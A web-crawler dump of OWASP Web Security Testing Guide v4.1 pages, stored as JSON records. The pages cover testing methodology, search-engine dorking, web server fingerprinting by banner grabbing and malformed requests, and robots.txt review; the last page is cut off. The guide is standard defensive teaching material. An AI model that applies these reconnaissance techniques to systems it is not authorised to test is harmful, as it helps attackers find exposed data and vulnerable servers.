"live", "wb_ts": "", "stazeno": "2026-09-14 13:42:43", "sha256": "1b4075636c785633291b3dc465c9d33c1137b9464679635af9b851c87ed1a36d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines", "http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html", "https://www.pcisecuritystandards.org/documents/Penetration-Testing-Guidance-v1_1.pdf", "http://www.pentest-standard.org/index.php/Main_Page", "http://www.isecom.org/research/osstmm.html", "https://csrc.nist.gov/publications/detail/sp/800-115/final", "http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf", "https://www.kali.org/", "https://sourceforge.net/projects/isstf/files/issaf%20document/issaf0.1/", "https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Web Application Security Testing"}], "markdown": "# WSTG - v4.1\n\n# Web Application Security Testing\n\n4.0 [Introduction and Objectives](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README)\n\n4.1 [Information Gathering](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/README)\n\n4.2 [Configuration and Deployment Management Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n\n4.3 [Identity Management Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README)\n\n4.4 [Authentication Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n\n4.5 [Authorization Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n\n4.6 [Session Management Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/06-Session_Management_Testing/README)\n\n4.7 [Input Validation Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README)\n\n4.8 [Testing for Error Handling](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README)\n\n4.9 [Testing for Weak Cryptography](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n\n4.10 [Business Logic Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/10-Business_Logic_Testing/README)\n\n4.11 [Client Side Testing](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/README)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1935, "slov": 141, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:35", "sha256": "05b0a0a56e15f7911ec4c766053638e5d91913145402cc3fbf3bdecf2095ecb8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "4.0 Introduction and Objectives"}, {"uroven": 2, "text": "What is Web Application Security Testing?"}, {"uroven": 2, "text": "What is a Vulnerability?"}, {"uroven": 2, "text": "What is a Threat?"}, {"uroven": 2, "text": "What is a Test?"}, {"uroven": 2, "text": "The Approach in Writing this Guide"}, {"uroven": 2, "text": "What Is the OWASP Testing Methodology?"}, {"uroven": 3, "text": "Passive Testing"}, {"uroven": 3, "text": "Active Testing"}], "markdown": "# WSTG - v4.1\n\n# 4.0 Introduction and Objectives\n\nThis section describes the OWASP web application security testing methodology and explains how to test for evidence of vulnerabilities within the application due to deficiencies with identified security controls.\n\n## What is Web Application Security Testing?\n\nA security test is a method of evaluating the security of a computer system or network by methodically validating and verifying the effectiveness of application security controls. A web application security test focuses only on evaluating the security of a web application. The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner, together with an assessment of the impact, a proposal for mitigation or a technical solution.\n\n## What is a Vulnerability?\n\nA vulnerability is a flaw or weakness in a system’s design, implementation, operation or management that could be exploited to compromise the system’s security objectives.\n\n## What is a Threat?\n\nA threat is anything (a malicious external attacker, an internal user, a system instability, etc) that may harm the assets owned by an application (resources of value, such as the data in a database or in the file system) by exploiting a vulnerability.\n\n## What is a Test?\n\nA test is an action to demonstrate that an application meets the security requirements of its stakeholders.\n\n## The Approach in Writing this Guide\n\nThe OWASP approach is open and collaborative:\n\n- Open: every security expert can participate with his or her experience in the project. Everything is free.\n- Collaborative: brainstorming is performed before the articles are written so the team can share ideas and develop a collective vision of the project. That means rough consensus, a wider audience and increased participation.\n\nThis approach tends to create a defined Testing Methodology that will be:\n\n- Consistent\n- Reproducible\n- Rigorous\n- Under quality control\n\nThe problems to be addressed are fully documented and tested. It is important to use a method to test all known vulnerabilities and document all the security test activities.\n\n## What Is the OWASP Testing Methodology?\n\nSecurity testing will never be an exact science where a complete list of all possible issues that should be tested can be defined. Indeed, security testing is only an appropriate technique for testing the security of web applications under certain circumstances. The goal of this project is to collect all the possible testing techniques, explain these techniques, and keep the guide updated. The OWASP Web Application Security Testing method is based on the black box approach. The tester knows nothing or has very little information about the application to be tested.\n\nThe testing model consists of:\n\n- Tester: Who performs the testing activities\n- Tools and methodology: The core of this Testing Guide project\n- Application: The black box to test\n\nTesting can be categorized as passive or active:\n\n### Passive Testing\n\nDuring passive testing, a tester tries to understand the application’s logic and explores the application as a user. Tools can be used for information gathering. For example, an HTTP proxy can be used to observe all the HTTP requests and responses. At the end of this phase, the tester should understand all the access points (*gates*) of the application (e.g., HTTP headers, parameters, and cookies). The [Information Gathering](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/README) section explains how to perform passive testing.\n\nFor example, a tester may find a page at the following URL:\n\n`https://www.example.com/login/Authentic_Form.html`\n\nThis may indicate an authentication form where the application requests a username and a password.\n\nThe following parameters represent two access points (gates) to the application:\n\n`http://www.example.com/Appx.jsp?a=1&b=1`\n\nIn this case, the application shows two gates (parameters a and b). All the gates found in this phase represent a point of testing. A spreadsheet with the directory tree of the application and all the access points may be useful during active testing.\n\n### Active Testing\n\nDuring active testing, a tester begins to use the methodologies described in the follow sections.\n\nThe set of active tests have been split into 11 sub-categories for a total of 91 controls:\n\n- Configuration and Deployment Management Testing\n- Identity Management Testing\n- Authentication Testing\n- Authorization Testing\n- Session Management Testing\n- Input Validation Testing\n- Error Handling\n- Cryptography\n- Business Logic Testing\n- Client Side Testing\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4754, "slov": 700, "odkazu": 175, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:44", "sha256": "8ce66e7cfc75630e56fa31abc55b8f1a478cf1451bd37a4b6f5fd119f3c66cf0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Conduct Search Engine Discovery Reconnaissance for Information Leakage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Search Engines"}, {"uroven": 3, "text": "Search Operators"}, {"uroven": 3, "text": "Viewing Cached Content"}, {"uroven": 3, "text": "Google Hacking, or Dorking"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Conduct Search Engine Discovery Reconnaissance for Information Leakage\n\n| ID |\n| --- |\n| WSTG-INFO-01 |\n\n## Summary\n\nIn order for search engines to work, computer programs (or “robots”) regularly fetch data (referred to as [crawling](https://en.wikipedia.org/wiki/Web_crawler) from billions of pages on the web. These programs find web pages by following links from other pages, or by looking at sitemaps. If a website uses a special file called “robots.txt” to list pages that it does not want search engines to fetch, then the pages listed there will be ignored. This is a basic overview - Google offers a more in-depth explanation of [how a search engine works](https://support.google.com/webmasters/answer/70897?hl=en).\n\nTesters can use search engines to perform reconnaissance on websites and web applications. There are direct and indirect elements to search engine discovery and reconnaissance: direct methods relate to searching the indexes and the associated content from caches, while indirect methods relate to learning sensitive design and configuration information by searching forums, newsgroups, and tendering websites.\n\nOnce a search engine robot has completed crawling, it commences indexing the web page based on tags and associated attributes, such as ``, in order to return the relevant search results. If the robots.txt file is not updated during the lifetime of the web site, and inline HTML meta tags that instruct robots not to index content have not been used, then it is possible for indexes to contain web content not intended to be included by the owners. Website owners may use the previously mentioned robots.txt, HTML meta tags, authentication, and tools provided by search engines to remove such content.\n\n## Test Objectives\n\nTo understand what sensitive design and configuration information of the application, system, or organization is exposed both directly (on the organization’s website) or indirectly (on a third party website).\n\n## How to Test\n\nUse a search engine to search for potentially sensitive information. This may include:\n\n- network diagrams and configurations;\n- archived posts and emails by administrators and other key staff;\n- log on procedures and username formats;\n- usernames, passwords, and private keys;\n- third-party, or cloud service configuration files;\n- revealing error message content; and\n- development, test, user acceptance testing (UAT), and staging versions of the website.\n\n### Search Engines\n\nDo not limit testing to just one search engine provider, as different search engines may generate different results. Search engine results can vary in a few ways, depending on when the engine last crawled content, and the algorithm the engine uses to determine relevant pages. Consider using the following (alphabetically-listed) search engines:\n\n- [Baidu](https://www.baidu.com/) , China’s [most popular](https://en.wikipedia.org/wiki/Web_search_engine#Market_share) search engine.\n- [Bing](https://www.bing.com/) , a search engine owned and operated by Microsoft, and the second [most popular](https://en.wikipedia.org/wiki/Web_search_engine#Market_share) worldwide. Supports [advanced search keywords](http://help.bing.microsoft.com/#apex/18/en-US/10001/-1) .\n- [binsearch.info](https://binsearch.info/) , a search engine for binary Usenet newsgroups.\n- [DuckDuckGo](https://duckduckgo.com/) , a privacy-focused search engine that compiles results from many different [sources](https://help.duckduckgo.com/results/sources/) . Supports [search syntax](https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/) .\n- [Google](https://www.google.com/) , which offers the world’s [most popular](https://en.wikipedia.org/wiki/Web_search_engine#Market_share) search engine, and uses a ranking system to attempt to return the most relevant results. Supports [search operators](https://support.google.com/websearch/answer/2466433) .\n- [Startpage](https://www.startpage.com/) , a search engine that uses Google’s results without collecting personal information through trackers and logs. Supports [search operators](https://support.startpage.com/index.php?/Knowledgebase/Article/View/989/0/advanced-search-which-search-operators-are-supported-by-startpagecom) .\n- [Shodan](https://www.shodan.io/) , a service for searching Internet-connected devices and services. Usage options include a limited free plan as well as paid subscription plans.\n\nBoth DuckDuckGo and Startpage offer some increased privacy to users by not utilizing trackers or keeping logs. This can provide reduced information leakage about the tester.\n\n### Search Operators\n\nA search operator is a special keyword that extends the capabilities of regular search queries, and can help obtain more specific results. They generally take the form of `operator:query`. Here are some commonly supported search operators:\n\n- `site:` will limit the search to the provided URL.\n- `inurl:` will only return results that include the keyword in the URL.\n- `intitle:` will only return results that have the keyword in the page title.\n- `intext:` or `inbody:` will only search for the keyword in the body of pages.\n- `filetype:` will match only a specific filetype, i.e. png, or php.\n\nFor example, to find the web content of owasp.org as indexed by a typical search engine, the syntax required is:\n\n`site:owasp.org`\n\n*Figure 4.1.1-1: Google Site Operation Search Result Example*\n\n### Viewing Cached Content\n\nTo search for content that has previously been indexed, use the `cache:` operator. This is helpful for viewing content that may have changed since the time it was indexed, or that may no longer be available. Not all search engines provide cached content to search; the most useful source at time of writing is Google.\n\nTo view owasp.org as it is cached, the syntax is:\n\n`cache:owasp.org`\n\n*Figure 4.1.1-2: Google Cache Operation Search Result Example*\n\n### Google Hacking, or Dorking\n\nSearching with operators can be a very effective discovery reconnaissance technique when combined with the creativity of the tester. Operators can be chained to effectively discover specific kinds of sensitive files and information. This technique, called [Google hacking](https://en.wikipedia.org/wiki/Google_hacking) or Google dorking, is also possible using other search engines, as long as the search operators are supported.\n\nA database of dorks, such as [Google Hacking Database](https://www.exploit-db.com/google-hacking-database), is a useful resource that can help uncover specific information. Some categories of dorks available on this database include:\n\n- Footholds\n- Files containing usernames\n- Sensitive Directories\n- Web Server Detection\n- Vulnerable Files\n- Vulnerable Servers\n- Error Messages\n- Files containing juicy info\n- Files containing passwords\n- Sensitive Online Shopping Info\n\nDatabases for other search engines, such as Bing and Shodan, are available from resources such as Bishop Fox’s [Google Hacking Diggity Project](https://resources.bishopfox.com/resources/tools/google-hacking-diggity/).\n\n## Remediation\n\nCarefully consider the sensitivity of design and configuration information before it is posted online.\n\nPeriodically review the sensitivity of existing design and configuration information that is posted online.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7258, "slov": 960, "odkazu": 193, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:46", "sha256": "bba7132fa5467cfb77e132f219e247c4fb95e43eab2528dd12308afc4e3479a5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Web_crawler", "https://support.google.com/webmasters/answer/70897?hl=en", "https://www.baidu.com/", "https://en.wikipedia.org/wiki/Web_search_engine", "https://www.bing.com/", "http://help.bing.microsoft.com/", "https://binsearch.info/", "https://duckduckgo.com/", "https://help.duckduckgo.com/results/sources/", "https://help.duckduckgo.com/duckduckgo-help-pages/results/syntax/", "https://www.google.com/", "https://support.google.com/websearch/answer/2466433", "https://www.startpage.com/", "https://support.startpage.com/index.php?%2FKnowledgebase%2FArticle%2FView%2F989%2F0%2Fadvanced-search-which-search-operators-are-supported-by-startpagecom=", "https://www.shodan.io/", "https://en.wikipedia.org/wiki/Google_hacking", "https://www.exploit-db.com/google-hacking-database", "https://resources.bishopfox.com/resources/tools/google-hacking-diggity/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Fingerprint Web Server"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Sending Malformed Requests"}, {"uroven": 3, "text": "Using Automated Scanning Tools"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Fingerprint Web Server\n\n| ID |\n| --- |\n| WSTG-INFO-02 |\n\n## Summary\n\nWeb server fingerprinting is the task of identifying the type and version of web server that a target is running on. While web server fingerprinting is often encapsulated in automated testing tools, it is important for researchers to understand the fundamentals of how these tools attempt to identify software, and why this is useful.\n\nAccurately discovering the type of web server that an application runs on can enable security testers to determine if the application is vulnerable to attack. In particular, servers running older versions of software without up-to-date security patches can be susceptible to known version-specific exploits.\n\n## Test Objectives\n\nDetermine the version and type of a running web server to enable further discovery of any known vulnerabilities.\n\n## How to Test\n\nTechniques used for web server fingerprinting include [banner grabbing](https://en.wikipedia.org/wiki/Banner_grabbing), eliciting responses to malformed requests, and using automated tools to perform more robust scans that use a combination of tactics. The fundamental premise by which all these techniques operate is the same. They all strive to elicit some response from the web server which can then be compared to a database of known responses and behaviors, and thus matched to a known server type.\n\nA banner grab is performed by sending an HTTP request to the web server and examining its [response header](https://developer.mozilla.org/en-US/docs/Glossary/Response_header). This can be accomplished using a variety of tools, including `telnet` for HTTP requests, or `openssl` for requests over SSL.\n\nFor example, here is the response to a request from an Apache server.\n\n```\nHTTP/1.1 200 OK\nDate: Thu, 05 Sep 2019 17:42:39 GMT\nServer: Apache/2.4.41 (Unix)\nLast-Modified: Thu, 05 Sep 2019 17:40:42 GMT\nETag: \"75-591d1d21b6167\"\nAccept-Ranges: bytes\nContent-Length: 117\nConnection: close\nContent-Type: text/html\n...\n```\n\nHere is another response, this time from nginx.\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.17.3\nDate: Thu, 05 Sep 2019 17:50:24 GMT\nContent-Type: text/html\nContent-Length: 117\nLast-Modified: Thu, 05 Sep 2019 17:40:42 GMT\nConnection: close\nETag: \"5d71489a-75\"\nAccept-Ranges: bytes\n...\n```\n\nHere’s what a response from lighttpd looks like.\n\n```\nHTTP/1.0 200 OK\nContent-Type: text/html\nAccept-Ranges: bytes\nETag: \"4192788355\"\nLast-Modified: Thu, 05 Sep 2019 17:40:42 GMT\nContent-Length: 117\nConnection: close\nDate: Thu, 05 Sep 2019 17:57:57 GMT\nServer: lighttpd/1.4.54\n```\n\nIn these examples, the server type and version is clearly exposed. However, security-conscious applications may obfuscate their server information by modifying the header. For example, here is an excerpt from the response to a request for a site with a modified header:\n\n```\nHTTP/1.1 200 OK\nServer: Website.com\nDate: Thu, 05 Sep 2019 17:57:06 GMT\nContent-Type: text/html; charset=utf-8\nStatus: 200 OK\n...\n```\n\nIn cases where the server information is obscured, testers may guess the type of server based on the ordering of the header fields. Note that in the Apache example above, the fields follow this order:\n\n- Date\n- Server\n- Last-Modified\n- ETag\n- Accept-Ranges\n- Content-Length\n- Connection\n- Content-Type\n\nHowever, in both the nginx and obscured server examples, the fields in common follow this order:\n\n- Server\n- Date\n- Content-Type\n\nTesters can use this information to guess that the obscured server is nginx. However, considering that a number of different web servers may share the same field ordering and fields can be modified or removed, this method is not definite.\n\n### Sending Malformed Requests\n\nWeb servers may be identified by examining their error responses, and in the cases where they have not been customized, their default error pages. One way to compel a server to present these is by sending intentionally incorrect or malformed requests.\n\nFor example, here is the response to a request for the non-existent method `SANTA CLAUS` from an Apache server.\n\n```\nGET / SANTA CLAUS/1.1\n\nHTTP/1.1 400 Bad Request\nDate: Fri, 06 Sep 2019 19:21:01 GMT\nServer: Apache/2.4.41 (Unix)\nContent-Length: 226\nConnection: close\nContent-Type: text/html; charset=iso-8859-1\n\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>400 Bad Request\n\n

Bad Request

\n

Your browser sent a request that this server could not understand.
\n

\n\n```\n\nHere is the response to the same request from nginx.\n\n```\nGET / SANTA CLAUS/1.1\n\n\n404 Not Found\n\n

404 Not Found

\n
nginx/1.17.3
\n\n\n```\n\nHere is the response to the same request from lighttpd.\n\n```\nGET / SANTA CLAUS/1.1\n\nHTTP/1.0 400 Bad Request\nContent-Type: text/html\nContent-Length: 345\nConnection: close\nDate: Sun, 08 Sep 2019 21:56:17 GMT\nServer: lighttpd/1.4.54\n\n\n\n\n \n 400 Bad Request\n \n \n

400 Bad Request

\n \n\n```\n\nAs default error pages offer many differentiating factors between types of web servers, their examination can be an effective method for fingerprinting even when server header fields are obscured.\n\n### Using Automated Scanning Tools\n\nAs stated earlier, web server fingerprinting is often included as a functionality of automated scanning tools. These tools are able to make requests similar to those demonstrated above, as well as send other more server-specific probes. Automated tools can compare responses from web servers much faster than manual testing, and utilize large databases of known responses to attempt server identification. For these reasons, automated tools are more likely to produce accurate results.\n\nHere are some commonly-used scan tools that include web server fingerprinting functionality.\n\n- [Netcraft](https://toolbar.netcraft.com/site_report) , an online tool that scans websites for information, including the web server.\n- [Nikto](https://github.com/sullo/nikto) , an open source command line scanning tool.\n- [Nmap](https://nmap.org/) , an open source command line tool that also has a GUI, [Zenmap](https://nmap.org/zenmap/) .\n\n## Remediation\n\nWhile exposed server information is not necessarily in itself a vulnerability, it is information that can assist attackers in exploiting other vulnerabilities that may exist. Exposed server information can also lead attackers to find version-specific server vulnerabilities that can be used to exploit unpatched servers. For this reason it is recommended that some precautions be taken. These actions include:\n\n- Obscuring web server information in headers, such as with Apache’s [mod_headers module](https://httpd.apache.org/docs/current/mod/mod_headers.html) .\n- Using a hardened [reverse proxy server](https://en.wikipedia.org/wiki/Proxy_server#Reverse_proxies) to create an additional layer of security between the web server and the Internet.\n- Ensuring that web servers are kept up-to-date with the latest software and security patches.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7271, "slov": 1048, "odkazu": 183, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:42:47", "sha256": "a4c36c03f6b5f625ff13a5b2e695f8d8edd88389f5b5c59d7abb950110b3c8dd", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/Banner_grabbing", "https://developer.mozilla.org/en-US/docs/Glossary/Response_header", "https://toolbar.netcraft.com/site_report", "https://github.com/sullo/nikto", "https://nmap.org/", "https://nmap.org/zenmap/", "https://httpd.apache.org/docs/current/mod/mod_headers.html", "https://en.wikipedia.org/wiki/Proxy_server", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Review Webserver Metafiles for Information Leakage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "robots.txt"}, {"uroven": 4, "text": "robots.txt in Webroot - with Wget or Curl"}, {"uroven": 4, "text": "robots.txt in Webroot - with Rockspider"}, {"uroven": 4, "text": "Analyze robots.txt Using Google Webmaster Tools"}, {"uroven": 3, "text": "META Tag"}, {"uroven": 4, "text": "META Tags - with Burp"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - v4.1\n\n# Review Webserver Metafiles for Information Leakage\n\n| ID |\n| --- |\n| WSTG-INFO-03 |\n\n## Summary\n\nThis section describes how to test the robots.txt file for information leakage of the web application’s directory or folder path(s). Furthermore, the list of directories that are to be avoided by Spiders, Robots, or Crawlers can also be created as a dependency for [Map execution paths through application](/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application)\n\n## Test Objectives\n\n1. Information leakage of the web application’s directory or folder path(s).\n2. Create the list of directories that are to be avoided by Spiders, Robots, or Crawlers.\n\n## How to Test\n\n### robots.txt\n\nWeb Spiders, Robots, or Crawlers retrieve a web page and then recursively traverse hyperlinks to retrieve further web content. Their accepted behavior is specified by the [Robots Exclusion Protocol](https://www.robotstxt.org) of the [robots.txt](https://www.robotstxt.org/) file in the web root directory.\n\nAs an example, the beginning of the robots.txt file from [https://www.google.com/robots.txt](https://www.google.com/robots.txt) sampled on 11 August 2013 is quoted below:\n\n```\nUser-agent: *\nDisallow: /search\nDisallow: /sdch\nDisallow: /groups\nDisallow: /images\nDisallow: /catalogs\n...\n```\n\nThe *User-Agent* directive refers to the specific web spider/robot/crawler. For example the *User-Agent: Googlebot* refers to the spider from Google while “User-Agent: bingbot” refers to crawler from Microsoft/Yahoo!. `User-Agent: *` in the example above applies to all [web spiders/robots/crawlers](https://support.google.com/webmasters/answer/6062608?visit_id=637173940975499736-3548411022&rd=1) as quoted below:\n\n`User-agent: *`\n\nThe `Disallow` directive specifies which resources are prohibited by 